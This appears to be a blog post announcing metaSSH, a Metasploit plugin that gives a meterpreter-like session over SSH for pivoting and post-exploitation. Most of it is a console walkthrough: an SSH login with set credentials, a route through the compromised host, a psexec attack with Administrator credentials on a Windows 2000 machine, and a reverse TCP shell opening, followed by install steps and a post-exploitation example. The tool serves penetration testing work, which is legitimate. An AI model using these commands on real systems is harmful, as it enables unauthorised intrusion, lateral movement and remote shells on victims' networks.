META_SSH session plugin for metasploit v0.1

metaSSH is a session plugin for metasploit that gives you a meterpreter like interface over an ssh connection. 
When I started writing this code I just wanted to be able to cleanly reverse pivot over ssh from within metasploit but I guess I got a bit carried away. 
Direct Download


* Multi-channel
* SFTP over same connection
* Pivoting & reverse pivoting via "route"
* Scriptable
* Supports post-exploitation modules
* Meterpreter-like api 


Here is an example of using metaSSH to pivot through an ssh host at to run psexec on a win2k box at, inside the internal subnet. 
The reverse tcp payload then reverse pivots (automagically) through our ssh box to give us a shell.

            =[ metasploit v4.2.0-dev [core:4.2 api:1.0]
     + -- --=[ 778 exploits - 415 auxiliary - 121 post
     + -- --=[ 238 payloads - 27 encoders - 8 nops

     msf > setg LogLevel 3
     LogLevel => 3
     msf > load meta_ssh
     [*] Successfully loaded plugin: metaSSH
     msf > use multi/ssh/login_password
     msf > set RHOST
     RHOST =>
     msf > set USER dsl
     USER => dsl
     msf > set PASS reverse
     PASS => reverse
     msf > set PAYLOAD ssh/metassh_session
     PAYLOAD => ssh/metassh_session
     msf > exploit -z
     [*] Connecting to dsl@ with password reverse
     [*] metaSSH session 1 opened ( -> at 2011-12-28 03:51:16 +1300
     [*] Session 1 created in the background.
     msf > route add 1
     [*] Route added
     msf > use exploit/windows/smb/psexec
     msf > set RHOST
     RHOST =>
     msf > set LHOST
     LHOST =>
     msf > set LPORT 5557
     LPORT => 5557
     msf > set SMBUser Administrator
     SMBUser => Administrator
     msf > set SMBPass password
     SMBPass => password
     msf > set PAYLOAD windows/shell_reverse_tcp
     PAYLOAD => windows/shell_reverse_tcp
     msf > exploit
     [*] Started reverse handler on via the metaSSH on session 1
     [*] Connecting to the server...
     [*] Authenticating to|WORKGROUP as user 'Administrator'...
     [*] Uploading payload...
     [*] Created \ekuCbYaL.exe...
     [*] Binding to 367abb81-9844-35f1-ad32-98f038001003:2.0@ncacn_np:[\svcctl] ...
     [*] Bound to 367abb81-9844-35f1-ad32-98f038001003:2.0@ncacn_np:[\svcctl] ...
     [*] Obtaining a service manager handle...
     [*] Creating a new service (TCzOpXwW - "MvQGwrInlegXtnXAgQmQ")...
     [*] Closing service handle...
     [*] Opening service...
     [*] Starting the service...
     [*] Removing the service...
     [*] Closing service handle...
     [*] Deleting \ekuCbYaL.exe...
     [*] Command shell session 2 opened ( -> at 2011-12-28 03:51:18 +1300

     Microsoft Windows 2000 [Version 5.00.2195]
     (C) Copyright 1985-1999 Microsoft Corp.

     Background session 2? [y/N]  y
     msf  exploit(psexec) > sessions -i 1
     [*] Starting interaction with 1...

     metaSSH > help

     Core Commands

         Command       Description
         -------       -----------
         ?             Help menu
         background    Backgrounds the current session
         bgkill        Kills a background metaSSH script
         bglist        Lists running background scripts
         bgrun         Executes a metaSSH script as a background thread
         channel       Displays information about active channels
         close         Closes a channel
         exit          Terminate the ssh session
         help          Help menu
         info          Displays information about a Post module
         interact      Interacts with a channel
         irb           Drop into irb scripting mode
         quit          Terminate the ssh session
         run           Executes a metaSSH script or Post module
         use           Deprecated alias for 'load'

     Stdapi: System Commands     

         Command       Description
         -------       -----------
         execute       Execute a command
         shell         Drop into a system command shell

     Stdapi: Net Commands

         Command       Description
         -------       -----------
         portfwd       forward local port to remote port

     Stdapi: File system Commands

         Command       Description
         -------       -----------
         cat           Read the contents of a file to the screen
         cd            Change directory
         del           Delete the specified file
         download      Download a file or directory
         edit          Edit a file
         getlwd        Print local working directory
         getwd         Print working directory
         lcd           Change local working directory
         lpwd          Print local working directory
         ls            List files
         mkdir         Make directory
         pwd           Print working directory
         rm            Delete the specified file
         rmdir         Remove directory
         search        Search for files
         upload        Upload a file or directory

     metaSSH >


Make sure you are running the **latest** version of metasploit from github, 
metaSSH requires recent fixes to the bundled net/ssh library.

    git clone

Get the latest version of metaSSH

    git clone

Copy meta_ssh.rb & the meta_ssh directory to your metasploit plugins directory

    cp -r meta_ssh.rb meta_ssh ~/metasploit/plugins


After installation in msfconsole run "load meta_ssh" to load the plugin. 
Two new exploit modules and one new payload module will become available. 
The exploits "multi/ssh/login_password" & "multi/ssh/login_pubkey" both let you login to an ssh server through different means and are fairly self explanatory. The payload for each of these must be "ssh/metassh_session" which will spawn metaSSH. 

For ease of use a command is also provided


### Pivoting

To get pivoting to work just add a route to your internal subnet through your metaSSH session like so:

    msf > route add 1

NOTE: For reverse pivoting GatewayPorts MUST be set to yes in sshd_config on your pivot box. At some point I'll probably add an emulation mode with mkfifo & netcat.

### Post-exploitation modules

To use run them from the metaSSH session just like meterpreter

    metaSSH > run post/linux/gather/checkvm

    [*] Gathering System info ....
    [+] This appears to be a VirtualBox Virtual Machine


Forwarded ports (local and remote) are never released until the metaSSH session ends. For some reason I couldn't figure out, attempting to cancel port forwarding also kills any popped sessions. 
Any other bugs please open an issue on my github ( ). Pull requests/fixes gratefully accepted.


This code is based heavily on the meterpreter session code included with metasploit and has in many cases simply been "cargo culted" and altered. Thanks to RageLtMan for his contributions.

Leave a Reply

Fill in your details below or click an icon to log in: Logo

You are commenting using your account. Log Out /  Change )

Google photo

You are commenting using your Google account. Log Out /  Change )

Twitter picture

You are commenting using your Twitter account. Log Out /  Change )

Facebook photo

You are commenting using your Facebook account. Log Out /  Change )

Connecting to %s